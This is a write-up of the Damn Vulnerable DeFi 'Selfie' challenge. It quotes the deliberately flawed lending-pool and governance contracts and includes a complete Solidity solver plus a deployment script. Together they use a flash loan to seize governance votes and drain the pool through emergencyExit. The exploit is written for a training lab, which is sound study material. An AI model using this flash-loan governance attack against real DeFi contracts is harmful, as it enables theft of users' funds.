Damn Vulnerable DeFi - Selfie
June 22, 2023•924 words
The contract
A new cool lending pool has launched! It’s now offering flash loans of DVT tokens. It even includes a fancy governance mechanism to control it.
What could go wrong, right ?
You start with no DVT tokens in balance, and the pool has 1.5 million. Your goal is to take them all.
The challenge has an interface which you shouldn't care too much about.
The other contracts are more interesting, here are the key points about each of them.
First, the contract offering the flash loan functionality:
contract SelfiePool is ReentrancyGuard, IERC3156FlashLender {
ERC20Snapshot public immutable token;
SimpleGovernance public immutable governance;
bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
error RepayFailed();
error CallerNotGovernance();
error UnsupportedCurrency();
error CallbackFailed();
event FundsDrained(address indexed receiver, uint256 amount);
modifier onlyGovernance() {
if (msg.sender != address(governance))
revert CallerNotGovernance();
_;
}
constructor(address _token, address _governance) {
token = ERC20Snapshot(_token);
governance = SimpleGovernance(_governance);
}
function maxFlashLoan(address _token) external view returns (uint256) {
if (address(token) == _token)
return token.balanceOf(address(this));
return 0;
}
function flashFee(address _token, uint256) external view returns (uint256) {
if (address(token) != _token)
revert UnsupportedCurrency();
return 0;
}
function flashLoan(
IERC3156FlashBorrower _receiver,
address _token,
uint256 _amount,
bytes calldata _data
) external nonReentrant returns (bool) {
if (_token != address(token))
revert UnsupportedCurrency();
token.transfer(address(_receiver), _amount);
if (_receiver.onFlashLoan(msg.sender, _token, _amount, 0, _data) != CALLBACK_SUCCESS)
revert CallbackFailed();
if (!token.transferFrom(address(_receiver), address(this), _amount))
revert RepayFailed();
return true;
}
function emergencyExit(address receiver) external onlyGovernance {
uint256 amount = token.balanceOf(address(this));
token.transfer(receiver, amount);
emit FundsDrained(receiver, amount);
}
}
The two important things to note here are:
- the loan functionality has a defined "onFlashLoan" callback function that we have to implement to use the money we borrow
- there is an "emergencyExit" function that would allow us to drain the contract and win the challenge, but we would need to be the governance contract to do that
The contract managing the governance side of things, instead, is the following:
contract SimpleGovernance is ISimpleGovernance {
uint256 private constant ACTION_DELAY_IN_SECONDS = 2 days;
DamnValuableTokenSnapshot private _governanceToken;
uint256 private _actionCounter;
mapping(uint256 => GovernanceAction) private _actions;
constructor(address governanceToken) {
_governanceToken = DamnValuableTokenSnapshot(governanceToken);
_actionCounter = 1;
}
function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId) {
if (!_hasEnoughVotes(msg.sender))
revert NotEnoughVotes(msg.sender);
if (target == address(this))
revert InvalidTarget();
if (data.length > 0 && target.code.length == 0)
revert TargetMustHaveCode();
actionId = _actionCounter;
_actions[actionId] = GovernanceAction({
target: target,
value: value,
proposedAt: uint64(block.timestamp),
executedAt: 0,
data: data
});
unchecked { _actionCounter++; }
emit ActionQueued(actionId, msg.sender);
}
function executeAction(uint256 actionId) external payable returns (bytes memory) {
if(!_canBeExecuted(actionId))
revert CannotExecute(actionId);
GovernanceAction storage actionToExecute = _actions[actionId];
actionToExecute.executedAt = uint64(block.timestamp);
emit ActionExecuted(actionId, msg.sender);
(bool success, bytes memory returndata) = actionToExecute.target.call{value: actionToExecute.value}(actionToExecute.data);
if (!success) {
if (returndata.length > 0) {
assembly {
revert(add(0x20, returndata), mload(returndata))
}
} else {
revert ActionFailed(actionId);
}
}
return returndata;
}
function getActionDelay() external pure returns (uint256) {
return ACTION_DELAY_IN_SECONDS;
}
function getGovernanceToken() external view returns (address) {
return address(_governanceToken);
}
function getAction(uint256 actionId) external view returns (GovernanceAction memory) {
return _actions[actionId];
}
function getActionCounter() external view returns (uint256) {
return _actionCounter;
}
/**
* @dev an action can only be executed if:
* 1) it's never been executed before and
* 2) enough time has passed since it was first proposed
*/
function _canBeExecuted(uint256 actionId) private view returns (bool) {
GovernanceAction memory actionToExecute = _actions[actionId];
if (actionToExecute.proposedAt == 0) // early exit
return false;
uint64 timeDelta;
unchecked {
timeDelta = uint64(block.timestamp) - actionToExecute.proposedAt;
}
return actionToExecute.executedAt == 0 && timeDelta >= ACTION_DELAY_IN_SECONDS;
}
function _hasEnoughVotes(address who) private view returns (bool) {
uint256 balance = _governanceToken.getBalanceAtLastSnapshot(who);
uint256 halfTotalSupply = _governanceToken.getTotalSupplyAtLastSnapshot() / 2;
return balance > halfTotalSupply;
}
}
What is key here is that if our participation in the pool (how many tokens we own in the governance pool) is large enough, we can queue an action that the governance contract will execute after a cooldown period of 2 days.
The last important aspect to highlight is that both the lending pool and the governance pool use the same token.
The solution
Once again, putting things together at this point should be fairly easy:
- we borrow a large amount of tokens using the flash loan functionality
- we take a snapshot, to update the token count so that it reflects our current ownership of a large amount
- as we currently have a big share of the governance pool, we are allowed to queue actions. We can queue an action to use the "emergencyExit" to transfer all the funds to the player user
- our malicious action is in the queue, we must return the amount we borrowed
- the required cooldown must now pass (2 days)
- we can trigger the execution of the queued action
- challenge solved
Every step described is implemented in this solution contract:
contract SelfieSolver is IERC3156FlashBorrower {
SelfiePool pool;
SimpleGovernance governance;
address player;
DamnValuableTokenSnapshot gov_token;
uint tok_in_pool;
uint action_id;
constructor (address s_pool, address s_governance, address final_user, uint pool_amount){
pool = SelfiePool(s_pool);
governance = SimpleGovernance(s_governance);
player = final_user;
tok_in_pool = pool_amount;
}
function onFlashLoan(address sender, address _token, uint256 _amount, uint256 value, bytes calldata _data) external returns (bytes32) {
DamnValuableTokenSnapshot(_token).snapshot();
action_id = governance.queueAction(address(pool), 0, abi.encodeWithSignature("emergencyExit(address)", player));
DamnValuableTokenSnapshot(_token).approve(address(pool), _amount);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
function loan(address token) public {
pool.flashLoan(this, token, tok_in_pool, "0x");
}
function drain() public {
governance.executeAction(action_id);
}
}
The challenge code required to complete the level is the following:
attackingFactor = await ethers.getContractFactory('SelfieSolver', player);
attacking = await attackingFactor.deploy(pool.address, governance.address, player.address, TOKENS_IN_POOL);
await attacking.connect(player);
await attacking.loan(token.address);
await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]);
await attacking.drain();
Merry hacking ;)